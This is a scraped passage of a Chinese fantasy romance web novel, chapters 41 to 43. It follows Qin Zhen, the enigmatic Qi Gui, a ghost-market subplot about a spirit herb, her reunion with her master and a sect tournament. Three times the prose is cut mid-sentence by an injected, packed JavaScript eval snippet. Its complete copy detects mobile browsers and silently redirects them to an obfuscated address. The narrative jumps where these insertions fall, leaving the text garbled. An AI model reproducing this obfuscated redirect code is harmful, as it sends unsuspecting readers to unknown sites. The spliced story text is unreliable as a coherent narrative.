秦蓁莫名恍惚一瞬,只觉熟悉,却不知熟悉的是眼前的人,还是他说的那句话。 但这一瞬的恍然掠得太快,她没抓住,回过神来仅剩片刻迷茫。 祁诡突然看了她一眼,那一眼没什么情绪,却叫秦蓁觉得,自己方才那片刻的出神,是被他抓住。 “罢了,你们都回客房歇息养伤,早点养好些身子,画传送阵回宗门才是要紧事。”祁诡喊来小二收了茶盏,摆手就要上楼。 这时旬鹊和段师姐几人踏入客栈大堂,陈师兄欣喜喊着:“秦师妹!明日地府界将开,我们找到个法子能压住地府界的鬼气,不会影响你身体,咱们能一起去鬼市了!” 祁诡收了他已迈上阶梯的腿,转身冷冷看向陈师兄:“她不去。” 几人顿时僵在原地——祁诡基本只待在他自己房间,他们兴冲冲跑来,没想到他也在大堂。 祁诡手扶在栏杆上,劲装将他的身形勾勒出紧致漂亮的弧度——但他最多也只是支漂亮的弓箭,尖利万分到还未触及,便被破空带来的锐风割伤。 旬鹊还想挣扎一下,因为她刚刚理清一条任务线,这鬼市最好还是去一趟:“总待在这儿养伤,也太过无趣,鬼市热闹……” 祁诡一个眼刀瞥了过来,旬鹊默默闭嘴。 “若不影响养伤,我也想去一趟。是何法子可压鬼气?对灵草有用吗?”秦蓁起身朝旬鹊走去。 旬鹊讶异,女主倒是和她想到一块儿去了,这正是需要那株叫小花儿的灵草下到地府界的任务。 小花儿去地府界,找解尘缘的人喝尘缘水,然后梦入尘缘,醒来后就散了她百年的功力去温养百幽境。 虽然旬鹊不知道这段剧情是什么意思,但她好不容易将百幽境的所有剧情线理清,发现还能抢救一下的剧情没剩几个,其中一个最简单的便是这“灵草散功养百幽”。 剧本太崩,她得让每一条小的剧情线也回归本位。 “不许去。” 祁诡沉声道。 客栈气氛一时压抑。 几人俱是不解,若不是这人是凶神恶煞的祁诡,他们都要觉得他是不是看上了秦师妹,这又是挡天雷救人送药,又是开灵力结界圈地盘让人好生待在这儿,分明二人并不相识,这般关怀备至又占有非常…… 但这人是祁诡,没人有胆子揣摩。 秦蓁有胆子。 她问:“这几日仅有两个时辰……你会打开客栈的结界放我出去散心,你看我看得这般紧,莫非喜欢我?” 41. 追逐 秦蓁轻飘飘一句话,整个大堂都安静下来。 祁诡怔愣一瞬,而后失笑:“倒像你能问出来的话。” 他直视过来,脸不红心不跳的,神情认真,语调却上挑,似浮浪,又似带了十二分的含情,在秦蓁的眼也对上他的眼时,说道:“是啊,心悦你。” 客栈内吸气声此起彼伏。 林赴川呼吸一滞,下意识蜷起手指,意识到后又松开,指尖轻微抖了一下。 段师姐等人一脸快要被吓昏了的神情,看起来像是恨不得互相来几棍子把彼此敲晕。 旬鹊也被吓得够呛,头皮发麻想着这祁诡是什么意思……反派必修课之调戏正道女主? 她警惕的盯着祁诡,打算他一有什么动作就赶快护着秦蓁跑路。 秦蓁很无奈的叹气:“你这人能不能好好说话?” 祁诡所为确实好意,但他分明可以好好说不让她去鬼市是为何,而不是用强硬的三个字来表明态度。 她于是随口一问,也不算开玩笑,只是不喜他太过独断的行事,呛他一句。 没想到这人连这等话都应,倒叫她无话可说了。 祁诡沉默了一会儿,坦然道:“我不想你去地府界,因为那鬼王一定会找你,我怕他又把你关着了。” 又? 秦蓁若有所思,却没问,只说:“我得去一趟的。” 刀疤兄今日过后就要回到地府界了,大抵看不到灵草花开,要是压制鬼气的法子对灵草有效,她想带去给那刀疤兄看看。 不管开花后禾娘是否真会回来。 她很清楚,聚首和乐有多难,所以仅仅想助一点绵薄之力。 “那就一起。” 秦蓁讶然抬眼。 祁诡笑道:“一起去。明日吗?还是晚几日?” 秦蓁想了想,说:“等一株灵草开花先,之后再去。” 祁诡点点头,没问灵草开花是什么,也没问压制鬼气的法子是什么。 “你不……”他顿住,缓和了语气,问:“你能不能别跟那鬼王说太多话?” 秦蓁不明所以,祁诡说:“他脾气不好,我怕他看到我出现,会故意勾你……” 见秦蓁瞪着眼看他,祁诡轻笑:“我倒不怕你被他勾走,他没这个本事。” “但我还是……想你只能看见我。” 按秦蓁的性子,这时她就该骂他了。 但她对上那双分明桀骜、却在这时生出温柔缱绻的眼睛,竟有些信了他所说的……心悦。 “秦蓁。” 祁诡朗目疏眉,肆意万分,没头没尾的说了句莫名的话。 “多少次,我们都彼此吸引。” 心口闷闷一跳,可秦蓁抓不住。 * “竟这般简单?” 秦蓁在小院中,握着陈师兄给的石子,惊叹。 “我也没想到,原先是易师姐说,要是有什么护体法宝能让秦师妹你不受阵法影响就好了,我们尝试好久,但传送阵威力较大,有些冒险。” “不过,布个驱散鬼气的小阵法很容易!” 陈师兄兴奋道:“秦师妹你随身带着这石子,只要石子不碎,上面的阵法就会覆着你。” 几人琢磨一番,这法子灵草大抵也能用,陈师兄于是修修补补,又画了个阵法到另一颗小石子上,交给秦蓁。 旬鹊打算和段师姐他们一起,第一日就下去。 祁诡那番话扯到鬼王,总叫她觉得不对劲,她得先去探探风声。 秦蓁没多说什么,只叮嘱她顾好自己。 旬鹊揽着秦蓁的手臂挨挨蹭蹭。天雷过后,也就秦蓁还拿一切当寻常人和事看待。 离开前,段师姐还是将憋了一路的话说了出来:“秦师妹,那祁诡……秦师妹还是留个心眼。” 她瞥了眼自客栈出来就一直沉默的林赴川,继续说道:“若你喜欢……其实旁的人也不错,性子好些。” “倒不是因为些江湖传闻,而是祁诡这人脾气强硬古怪,桀骜不驯,非是良人。” 旬鹊深有同感,大反派啊!女主你让他爬远点啊! 秦蓁说:“我知晓的,段师姐。但他也没有那般可怕,不必太过忧心。” 祁诡实力太强,若真想要他们性命,根本就是弹指间的事,且他那般性子,反而不会随意出手。 但众人听她这话,却是会错了意,俱是脸色微变。 “你……也对他有好感吗?他说心悦你,你……” ……你也会欣喜与他心意相通吗? 林赴川抿唇,再说不下去。 秦蓁愕然:“不是……” 她微微蹙眉,有些不解:“他就算是真心悦我,又与我何干呢?” 林赴川一怔。 “很多都只是一恍神的错觉吧?下一瞬就消失了。” 秦蓁神情浅淡,风抚过她,也只为她添上一层疏离。 林赴川不堪的闭目一息,再睁眼,露出清风朗月般的笑,说:“走吧,把石子给小花儿。待花开了,我们一同去鬼市。” 秦蓁点点头,将手中石子递给林赴川:“你的。” 林赴川接过,攥在手心。 不是谁的。 她是她自己的。 * 地府界重开后的第二日,小花儿守着的那株灵草开花了。 她抱着那个长满青翠枝叶的坛子,激动万分跑进客栈,急急招手喊着“仙君”,灵草细长的叶片在空中荡啊荡,也像在招手。 秦蓁和林赴川围上去看,那白色花苞开了一半,层层叠叠,花瓣细细小小。 三人都不懂灵草,不知是它本身就如此模样,还是灵气太少,让它只能长出这般比叶片还细些的花瓣。 但自结花苞到花开,不过一月,这灵草若是好好养,说不定很快都能生出灵智来。 小花儿也想到了。 她欣喜若狂,甚至说着这会不会就是娘亲的转世。 林赴川毕竟自小在宗门长大,基础的万物循环还是知道的,凡人不会转世成灵草。 他记得儿时在青剑宗上学塾时,夫子们常常辩驳,部分人认为灵草未开智前不属六道,不参与轮回。 “不是转世,但上面确实有抹魂息。” 三人循声望去,是祁诡自楼上踏阶梯下来,他依旧一身黑色劲装,姿形隽朗。 “走吧?去地府界。”他说。 * 地府界同之前没什么变化。 至少鬼市这片没什么变化,这里依旧安稳热闹。 小花儿第一次来鬼市。 她颈间环着布了阵法的小石子,感受不到扑面的鬼气,只觉明黄的灯火将人间的烟火气点到了地下来。 “从前陈家村,也有这样的街市。”她说。 祁诡说:“去解尘缘,就能看到当时的事了。” “但你很大可能会为这场尘缘梦死去,自己想好。” 祁诡这话已经说了一路,小花儿脸上却没有了之前在客栈时的纠结,她说:“我想看看的。” “你说我会‘为’尘缘梦而死,不是‘因为’,对吧?那就是我可以自己选择嘛。我才不会被从前的事困住,那都过去了呀。我还要等娘亲的。” 祁诡不置可否,只说:“那便去吧。” 四人来到解尘缘的村子,走近竹木屋,里面传来断断续续的咳嗽声,那人照旧说着那句不知说了多少次的话。 “来解尘缘的人,将名字写在玉牌上放到石板,自己去旁边井里打水,找个客栈喝了睡一觉。” 秦蓁俯身从小花儿手中接过灵草坛子,抱好后,见她迟迟未下笔,开口道:“你若需要,我可以代你书上。” 小花儿欢欢喜喜将玉牌递给秦蓁,扶好她怀里的小坛子,静静看她在玉牌提上风神洒落的字迹。 林赴川已经打好了水递来,小花儿喝下,三人道谢后正准备离开,突然被竹木屋里的人叫住:“且慢!” 那虚弱断续的声音问:“是不是……还有一人在此?” 三人愣了下,看向到此处后一字未言的祁诡。 祁诡没什么表情,却像在叹息:“你已经弱到这般地步了。” 屋内传来清脆的哐当声,带着尖刺的碗碎声,接着不知何物被扫落,摔在地上,一阵啪嚓哗啦。 几息后,那道虚弱的声音响起,像冬日枝头被风吹起的枯叶,摩挲着、颤抖着问:“祁诡?” “嗯。” “……你果然还活着。” “嗯。” “你还没有放弃吗?” “嗯。” “可我快要放弃了!”那声音突然加大,带起剧烈的咳嗽。 祁诡顿了下,说:“可我如今出现在你面前了。” 尘缘人边咳边大喊:“可我受不了这样的轮回了!祁诡!” “若我从来不知万物皆是笼中之鸟!若我没遇见你们!” “……我便能心安理得顺遂一生。” 他的声音渐渐变小、变无力,但似要呕出肺腑的咳嗽声依旧响彻,像飞鸟被开膛破肚时惨颤的最后一声鸣叫。 祁诡很平和。 他身上难敛的疏狂在此刻收尽,注视着紧闭的竹木屋舍,说:“可你知道了,你遇见了。” “你若真要放弃,又为何逃进地府界后,依然愿意助人解尘缘呢?” 四周都静下来,只有他低低的声音。 秦蓁有一瞬冲动想要拔剑,但此方安宁又避世,没有作恶之敌,她不知这股冲动从何而来。 突然她敏锐察觉到祁诡的目光,也抬眼望去。 她只见过师父有这样温和的眼神。 但此刻祁诡的眼睛清正端净,是更甚的广阔和煦。 他说:“我们一同走过这么远。” 恍然间,她在这一眼里,看见沧澜迭起。 竹木屋里的声音静了。 小花儿拉了拉秦蓁的手,她不知道那屋里的人为何突然摔碗,有些紧张。 秦蓁轻轻回握。 几息后,尘缘人愤怒的声音响起:“记得赔钱!” 祁诡朝三人摆手:“走了。” 秦蓁下意识问:“去哪里?” “送这灵草入梦,然后……” 他语调一转,笑得肆意:“去买药碗,赔钱。” * 小花儿已经入梦,秦蓁问过逍遥客栈的掌柜,段师姐几人也在解尘缘。 祁诡买了药碗,又挑了些其他东西放进储物戒,说去叙个旧,很快回来找她。 秦蓁便捧着灵草坛子,按小花儿之前说的,和林赴川一起去找刀疤兄在鬼市的住处。 路上在一个瓜果铺前碰到旬鹊,她兴奋招呼,笑嘻嘻塞来话本,秦蓁接过一看《鬼王传:秘闻》,她瞥了眼旬鹊稍有些飘的眼神,没说什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不是说,要等娘亲吗。 秦蓁看着小花儿红肿的眼睛溢出泪水,轻轻抚开她侧脸的发丝。 “那株灵草就是阿娘,可那株灵草也是我啊。”小花儿哭着,话说得断断续续,秦蓁拼拼凑凑,才明了她所说。 禾娘晚年常常对着院子里的花草们自言自语,那株灵草就是小花儿的本体,但禾娘并未等到她化形就到了寿数。 她虽未化形,可开了灵智后她就真正拿禾娘当娘亲了,禾娘逝世的那天,她万分悲痛,灵力波动得比平日剧烈得多。 陈家村那些闯来瓜分财物的人,其中便有小花儿化形后,自称是她爹爹的那人。 那人发现了她是颗将要化形的灵草,当即就想剪下她的芽芯,以便后面控制她。 但缺了芽芯不能化形,他于是开了阵法,阻拦了禾娘将要进入地府界的魂魄,又不知从哪弄来了邪法,将凡人的魂魄移到了灵草上。 邪法让禾娘的凡人魂魄长出芽芯,像一株双生的灵草,但那点魂魄脆弱万分。所幸小花儿化形早,否则禾娘就要魂飞魄散了。 小花儿化形后看见这株灵草,还以为这便是禾娘留下的“小花儿”。 尘缘梦一趟,她才知道,是禾娘的魂魄在滋养她。 她仅有灵智前大抵是意识到了的,所以拼命赶在那点魂魄消散前化了形,中断了那以魂养灵的邪法。 但邪法影响,她化形后记忆也混乱了,只知道要养灵草,找阿娘。 “阿娘的魂魄弱到临近消散了,所以小花儿才开花了,因为打在阿娘魂魄上的邪法也要消散了。” “我散掉修为,变回灵草,我的灵力才能滋养阿娘,待她魂魄凝实,就能下到地府界和爹爹像从前一样生活了。” 小花儿止住泪水,说:“换我来养阿娘。” “我想她好好活。阿娘没见过我化形的,她只知道我是灵草,可我拿她当阿娘。” “我变回灵草,阿娘像从前一样,养灵草就好。” 秦蓁不懂,为何这世间这么多恰好的错过。 “找些固魂的法宝呢?还有灵石,可以将灵草用灵石围住,灵石散灵……” “来不及。”小花儿打断秦蓁,有些抖的说:“阿娘就要消散了。” 秦蓁一时无言。 旬鹊感受到她的难过,凑过去贴她的肩,秦蓁反而抚了抚她。 旬鹊心想,秦蓁的性子还是太软了。 她原以为自宫中出来后秦蓁变了许多,也会以武服人了,有些话说起来也冷冰冰。 可她其实还是太心软了。聚少离多,世间常态。若她旁观都觉难过,发生在自己身上时,又该如何去熬呢? “要是知道是这个结局,你还会下地府界吗?”祁诡突然问。 小花儿毫不犹豫:“当然!而且仙君不是也说了一路嘛?说我会为尘缘梦死去。” “我会的,但不是因为过去的梦,是因为娘亲。” 小花儿笑笑:“只是变回灵草而已,娘亲和爹爹会像从前一样给我浇水施肥捉虫子的。” 她挥挥手告别:“之前那位道长和我说,有缘再见,我一直信的。若我们也有缘,百年千年,也还会再见。” 小花儿跑出客栈,去找刀疤兄,找那坛灵草,找她阿娘。 回她的家。 秦蓁低头,望着自己手心。 要是知道是这个结局…… 是了。 结局如何,许多人依旧会选择——去追逐。 42. 我回来了 百幽境被魔尊的势力渗入了。 鬼王毫不意外。 百幽这等地方,最易滋恶,那无孔不入的魔族找不到这里才是怪事。 出乎他意料的是,魔族没有被天雷一同劈灭。 他这一月在肃清地府界那些反叛,直至地府界重开,天上与地下重新链接,他才感知到,天雷也已将地上肃清一遍。 甚至将秦蓁也劈了个重伤昏迷。 她不过走出本身命定的轨道,这天道却放着为祸的魔族不劈,反去劈她,如此已失了大道无情的公允,当真记仇,跟个控制狂似的。 倒不如开了这天算了! 鬼王心中戾气躁动——尤其面前还站了两个魔域的人要跟他谈条件。 “......便是如此了,大人意下如何?” 那魔域第一女将衣摆飒飒,抬起锋锐的眼直视过来。 鬼王冷声嗤笑:“不如何。” 那女将也不恼,再劝:“大人,我魔域的魂灵可是最适合养作鬼军的,凡人界的魂灵过弱、修真界的魂灵过杂,而我魔域魂灵强大易控。” “我等以魔域血界换您的无间狱,可是相当有诚意了。” 她抬手,召出一个巴掌大的血盘,魔气翻涌间,魔族黑红色的魂灵从那噬人血魄的血盘中飘出,恭恭敬敬行礼,好似感觉不到血盘的啃噬。 “无间狱里的魂灵既不能做鬼军,又不能转世投胎,浪费个地方拷着它们,换血界千万魂灵养作鬼军,百利而无一害。”她说。 “有一害。” 鬼王半扯唇角,扬了点笑,却似讥讽:“让魔域得到想要的,我便不高兴。” “江禹秋,我敬你两分仅是因为你这个人,而不是魔域。若你是魔族,你以为你还能站在这里?” 鬼王带着杀意的目光扫来,江禹秋丝毫不惧,拱手道:“我必须带走几个在无间狱的魂灵。” “我兄长?”鬼王似早有预料。 江禹秋未应,抬手示意身旁侍女上前,展开一幅画卷。 入目黑红金三色交织,带着猖狂笑意的魔尊站在无间狱上方,黑色的魔气将大半边界地覆盖,他脚下金色的炼魂水淌过血红的魂灵,不成形的丝状魂灵们互相争迫挤压,如千百条蛇尾在密集涌动,庞杂凌乱到叫人能看见那些无声的惨叫。 它们挣扎着向上缠绕,似在抬手乞求,又似哭嚎怨歹。魂灵迫切侵染魔气,想将那魔尊拖下与之融为一体。 “找死。” 鬼王眼神一凝,冷声道:“你若决心为魔域做事,我便仅有一字可说——滚!” 话音落,杀气四溢,强横的鬼气凝成实质,轰然打向江禹秋二人。 江禹秋将侍女护至身后,急速挽枪,一脚后撤,腰间沉力变马步为弓步,聚力枪尖,扎枪势如破竹,以点破面将鬼气打散。 她身姿疾飒,眼中锋锐不减:“那便只能,得罪了。” * “所以,魔尊并没有真正魂飞魄散吗?” 逍遥客栈的雅间内,秦蓁四人聚集在此。她将窗推开,楼下人头攒动。 “是。” 祁诡屈指轻扣案台:“魔骨、魔念、魂息,此三物可以重塑他的肉身。魔尊很难被完全杀死。当年各宗门围剿魔域,到底还是让他的一缕魂息逃了。” “那点魂息本不足为虑,魔族都是些极恶之辈,他敢回魔域就定会被蚕食鲸吞。” 秦蓁眉头紧锁:“但……小花儿化形,也是百年前的事了。” “对,百年前的邪法,哪怕当时已经中断,却还是将一个凡人的脆弱魂魄养至了今日。想到什么?” 祁诡目光凛凛,环视众人。 秦蓁神情严肃:“养一缕同源的魂息,甚至更容易。” 林赴川也沉声道:“百年前便能以魂养灵,百年后……或许并不仅是养一缕魂息。” 众人面色凝重,现今还未有任何魔尊复生之类的消息,但百年前的阵法幽窃的沉至今日,他们意外撞入,犹牵鬼灯一线。 外边异常杂沓的脚步声打断了几人的思绪,秦蓁偏头去看,鬼魂们边跑边高喊:“快回家中!近日千万不要出鬼市!鬼使传令所有魂都快回家中!快快!” 众人皆惊,作鸟兽散。 旬鹊眼皮一跳,不会是后期那个魔将杀进地府界要抢无间狱的剧情吧? 但无间狱离鬼市远得很,这是…… 未待细想,滂沱的魔气几息间就已充斥鬼市街道,从此处望过去看不清窗外人的面容,可周遭气息回山倒海。 那凝成人形的魔气似乎往这边看了一眼,旬鹊迅速反应—— 魔尊! 她惊骇万分,怎么可能!这个节点魔尊分明连塑体的三物都未找齐…… “怎会……” 祁诡也认了出来,心中一凛,手已经放在了刀柄上。 刀出鞘的瞬间,魔气冲来将窗口券破,与秦蓁几乎贴面。 秦蓁本能性抬剑格挡,但她无法聚灵,魔气抵着剑身缠到她手上,她一惊,迅速震剑疾退。 刀光掠起,魔气被逼退,凝形的魔尊立刻抬手作爪,直掏过来。 几人瞬觉这魔气中带了禁制,灵力运转滞涩,手骨像被拧断一般,绵软到握不住武器。 手中剑啪嚓落地,魔气几近吞噬秦蓁。 “我做你的刀!” 祁诡犀利的眼迸出锋芒,他的刀气破开魔气,一步上前将秦蓁拉出。 但那些魔气极速缠上,旬鹊与林赴川急急慌呼,可魔气侵染,祁诡是唯一还能行动的人。 几息之间,魔尊尖爪已至。 忽闻远声似金戈铁马,有疾风睥睨而来,撕裂魔气,秦蓁视野顿亮,看见一张灿如烈焰的面孔。 女将一枪袭来,秦蓁瞳孔骤缩,但这枪并非为穿透她而来。 那长枪一抡,卷起缠着她的魔气,凝形的魔尊竟被她轻松打散,带着魔气的长枪回撤,秦蓁对上她并无波动的眼睛。 “祁诡,你的命,留下!” 她话落,枪风挑开秦蓁,将她往侧边轻轻一抛,再破势而出刺向祁诡。 祁诡横刀劈开,扔出几张符纸就要启动传送阵。 与此同时女将也掷出一个黑色法器,擦过秦蓁的刹那,她一阵窒息,濒死感攀上巅峰。 那黑色法器逼向祁诡面门,祁诡抬刀横开,长枪却紧随其上,他为启阵硬挨一下,口中溢出鲜血。 “看来你也被削弱得很厉害。” 女将微眯双眼,杀意沸腾,攻势更迅。 浩瀚灵力在此刻倾泄,传送阵启动,旬鹊与林赴川瞬间消失。 可秦蓁仍在原地,传送阵不知为何排斥了她。 祁诡爆出猛烈杀意,将再次袭来的黑色法器狠厉挥开,飞身将一块玉牌塞给秦蓁,握住她的手将玉牌捏碎,喝道:“回去!” 秦蓁甚至没能来得及抬眼看他,只感觉到祁诡温热的手覆在她手上一瞬—— 刹那间,就已回到坐忘峰峰顶。 秦蓁盯着手中碎裂的玉牌。 因伤未好全,瞬破万里的传送阵让她很不适,心脏跳得飞快,撞击着她的胸腔,让她几欲呕出。 秦蓁勉力压下,眨眼却一愣——碎裂的玉牌在此刻化为齑粉,从她手中随指缝泄下,又随峰顶的清风散走。 得找师父。 秦蓁想,得找师父。 师父有飞升期修为,且会卜数,他出手一定能救下祁诡。 虽然百幽境与道源宫离得很远,但有传送阵,师父修为高,还能破空传送,他也一定能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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秦蓁思绪芜杂,无心养伤,经脉恢复能运转灵力后,她便埋头修炼,每日练剑打坐的时辰更长,常常到精疲力尽才罢休。 半月后,她竟摸到了金丹后期的壁垒。 师父还没回来。 师姐说师兄又去闯秘境了,师父或许是去捉他了。 柳清沂帮秦蓁布好阵法,让她同上次一样去山腰洞府闭关突破,自己留在峰顶看着护阵。 师姐面色凝重,塞了她许多护身秘宝,又细细检查了许多遍峰顶的阵法。 不过是个金丹期内的小境界突破,师姐却如临大敌,仿佛她是飞升期渡天劫。 秦蓁看在眼里,心下有些发涩,在柳清沂伸手过来时,抱住了她。 “师姐,别担心。天雷劈下来,我能抗住的。” 柳清沂没有说话,只轻轻拍她几下,便让她去闭关了。 * 秦蓁突破得很顺利。 同上次在洞府突破金丹一样,没有天雷。看来真是坐忘峰的阵法挡住了劫雷。 她自山腰登至峰顶平台,想跟师姐道谢,辛苦她为自己护法。 踏上峰顶,却没见到那抹浅蓝的身影。 秦蓁走进院中,瞬间被一身白衣夺走了全部视线。 苏逐站在石桌旁,黑发半束,睫羽垂敛,在抚袖口的折痕。 神仪明秀,姿若鹤骨。 “……师父。” 苏逐看过来,也笑起来,没有喊她名字,却微微抬了下手,或许是抚袖带起的自然动作。 秦蓁堵塞的心口突然就一松,积攒的所有情绪尽数落了下来。 离开师门已有小半年。 原来看见师父,她竟会这般安心。 她伸手,在苏逐温和包容的目光中,二人相拥。 苏逐轻轻回抱着她,轻轻笑、也轻轻说:“我回来了。” 秦蓁闭眼听着匀力的心跳,也说:“我回来了。” 43. 比试不易,黑鬼叹气 “39号弟子——坐忘峰秦蓁,胜!” 一片喝彩声中,秦蓁跃下擂台,越过那些还在讨论她剑招的同门,扬笑朝着在一旁鼓掌的柳清沂跑去,喊她:“师姐!” “恭喜小师妹又胜一场!”柳清沂喜笑颜开。 秦蓁双眸清亮:“还有两日,昨晚我跟小鹊算了下,我应该能打上前五名去!” “好!前五名可以少打一轮,对后面的连战有利。”柳清沂笑嘻嘻的:“哎呀,我可是很看好我小师妹夺魁的!” 秦蓁也有些兴奋,边走边与柳清沂说:“段师姐跟华师兄明日要对打一场,段师姐签运好,若胜了便直接保送前五了。” “若是华师兄胜出,他倒还要再多打一场,很可能我就会与他碰上。” “不过我都不惧,我应当都能取胜!” 秦蓁意气的笑,“不知其他宗门弟子的修为如何,不过肖掌门说往年咱们的胜场很多,大抵实力相当。我要争一争这魁首!” “可惜林赴川突破太快,元婴的宗门大比他无法再参加了,若他在,与他对打,我的把握还要少几分。” “林赴川前些日子传讯与我,待宗门大比正式开赛,他来观赛。” 柳清沂笑着听秦蓁盘算,很是为她高兴,这三年时间终于把秦蓁养得活了一点,她不似从前那般冷淡了,有了点她这个年纪该有的少年气。 “华师兄三年前在百幽境说,要与林赴川在宗门大比决胜,现今只能私下切磋了。” 秦蓁轻快的说:“待他来了,我喊上华师兄,再喊上段师姐,咱们私下切几场。” “待个人决完,还有组队,只是小鹊说她不参加,我得找找队友,或许明日比试完我问问段师姐?师姐觉得如何?” 柳清沂俏丽眨眨眼:“也很好,不过组队可以跨宗门,待你比完,说不定许多人要找上门来约你组队。” “可多看看其他宗门弟子的招式,你的队友最好不要同是剑修的。” 秦蓁扬笑应声。 她其实也是这么想的,宗门大比涵盖九州大小宗门,刀枪剑戟符拳棍这些自不用说,还有很多使其他武器的弟子待一展锋芒。 组队比试还是互补最好,这样若遇上相克的人,也能有破解之法。 为准备大比,各个宗门都在比试挑人,决出二十人去参加宗门大比,与九州各宗门的元婴弟子同切磋打擂。 这三年里她日日随着师父修习,师姐师兄也常常与她对练,她自觉现今对剑的掌握更甚,再没有像一开始时被不属于她的力量带着,去挥出完美弧度。 秦蓁感受着体内的元婴,她如今也有多几分自己的力量了。 她结元婴也很顺利,再没有见过百幽境那时杀气腾腾的天雷。 大抵只是那方境地的问题,待她修为再高些,去躺百幽找那只洞天兽吧。 这三年,她也有留意外边的江湖传闻,但关于祁诡的传闻仅仅停留在“魔头祁诡重出江湖,屠尽百幽村”,再没有后话。 这个人似乎又消失了,连过分夸张的谣言都不再能捕捉到他。 但不知是因时间流逝,还是因她一心扑在了修炼上,这三年她没有一开始时那般不安了。 她总觉得,他一定平安无事。 不是自我安慰,那天见到师父后,她就莫名冷静下来了。 她问过师父祁诡的事,师父面色如常,并未因祁诡在江湖传闻中堪称恶劣的名声对他有何看法,只说他没事,叫她不必多想,她竟也就真的心安了。 师父对她的伤势也没说太多,大抵是之前便已卜算到了,只日日盯着她养伤,对她的任何事也都亲力亲为,倒叫她有些愧疚了。 毕竟离开师门去历练前,她还答应过师父要以自身安危为重,结果转头就抗天雷去了。 但苏逐却摇头,说是他卜算失误,所幸最后她未出事。 秦蓁与柳清沂回到了坐忘峰后,她便照常去找苏逐复盘今日的比试。 看着师父细细给她讲解对局要点,她因切磋沸起的热血也渐渐静下来,神情认真的记下。 她时常觉得,还好师父是这般温和又冷静的人,否则自己有时意气上头,怕也难免冲动。 但常常她对上他的眼,心就莫名静了。 “……便是如此。你的剑招已经相当娴熟,剑意也远超他人,唯有剑气少了点杀意,不过也无妨,这样你的剑心不易动荡。” 苏逐笑道:“只是要像你师姐所说,若遇上该杀之人,杀了也无妨,不必手软。” 秦蓁严肃点点头。 她没什么血海深仇,又不似许多修炼者那般将修为看得重中之重,师姐常常担忧她失了目标道心茫然,师父也常跟她说,对他人要狠心些。 不过自她从百幽回来,生活确是风平浪静。 她要么窝在师门随师父修炼,要么就是与师姐师兄对练,只是师父严令禁止她与师兄去闯秘境,大抵是怕她与师兄一样染上拿命闯秘境的不良嗜好。 她便偶尔接了任务与旬鹊或者林赴川外出历练一两个礼拜。 旬鹊与林赴川似乎有些不对付,最开始时她喊上二人去做任务,明显感觉到旬鹊有些抵触,而林赴川也变得警惕许多,后来她便与他们分别历练了。 与师父复盘完,她去到坐忘峰的山涧修炼。 此地灵气萦绕,原是她伤刚好时师父带她来的,苏逐本意是想助她养伤,但她想修炼,想早日变强,想拥有能将一切握在自己手中的实力。 苏逐便随了她,在一旁看着她修行练剑,说是为她护法,但秦蓁知道师父大抵是怕她像刚回坐忘峰、没见着他时那般,不顾自己伤势狠命修炼了。 秦蓁有些好笑,别人家师父一个比一个严厉,况且修炼也需严狠。可苏逐不但不要求她每日练剑多少聚灵多少,反而对她宽松到了有些溺爱的地步。 若不是她一心修炼,换个性子松散的弟子做他徒弟,怕是要被他窝在师门养废了。 秦蓁这般打趣道。 哪知苏逐就这样愣在了原地。待她结束一日的修炼后,才有些迟疑的、慢吞吞的问:“你喜欢……强势些的?” 这话把秦蓁也问愣了,四目相对,她竟从师父眼里看出一丝慌乱,而这一霎,她竟也莫名想起祁诡的眼睛。 但苏逐的这点情绪转瞬即逝,他又成了平日那般温和沉稳的样子,留下一句“日后你自己看着修炼便好,受伤了找我拿药”,便有些仓促的离开了。 也不知是不是她的错觉,师父的语气似乎带了一点点的欢欣。 不过师父不在一旁看着她,她当真就又狠命修炼起来。 练剑、练聚灵对灵力的把控、也炼体,虽然一般控灵的修士只专注内修灵力,但她仍觉得炼体也有必要,就跟灵力枯竭后能否打出剑招一样——炼体有利于此。 只是她要修炼的东西也就更多,也要更狠,吃的苦头也更多。 秦蓁有时觉得,自己大抵真算个天生适合修炼的人,她体内流着肖拭云的血,或许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314409|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了她的天赋,也继承了一点她献身救世的性子,修炼苦痛如何,她不觉得有多艰辛。 总归受伤吐血多了就会成了习惯,也总归不会有比三年前百幽境劈下的天雷那般难抗。 她身置山涧瀑布,感受日升月落。 山涧盘旋的自然灵气有时让她的心境也明悟几分,她提剑在此,如师父所教内外双修,一日日精进修为。 * “39号弟子——坐忘峰秦蓁,胜!” 秦蓁跃下擂台,轻快的跟柳清沂招呼一声,朝其他擂台走去。 今日段师姐与华师兄比试,她结束得早,说不定能看上一看。 柳清沂随着秦蓁过去,二人到擂台下时,台上段师姐正好横挥一剑,抵在华师兄颈侧。 “16号弟子——观云峰段渺,胜!” “段师姐果然胜了,那便要看华师兄抽签如何了,大抵真会与我有一场比试。”秦蓁说道。 柳清沂好奇问:“怎的这般关注?你应当有把握胜他。虽只看到他们二人最后一式,但我观他剑招稍急,破绽易露。” 秦蓁说:“华师兄输给段师姐,若又输给我,就没法保送进前五了,得多打几场上去。后边的赛程急,对灵力的消耗也多,若再遇上几个难缠些的对手,也不知能不能打进前五了。” “他签运不太好,要是因为打得场次太多灵力跟不上而进不了前五名,倒是可惜了,其实以他的实力,在前五名代道源宫出战会很有利。”秦蓁叹了一声。 柳清沂眯眼笑道:“小师妹变了许多,现今都会想着咱们道源宫了。” 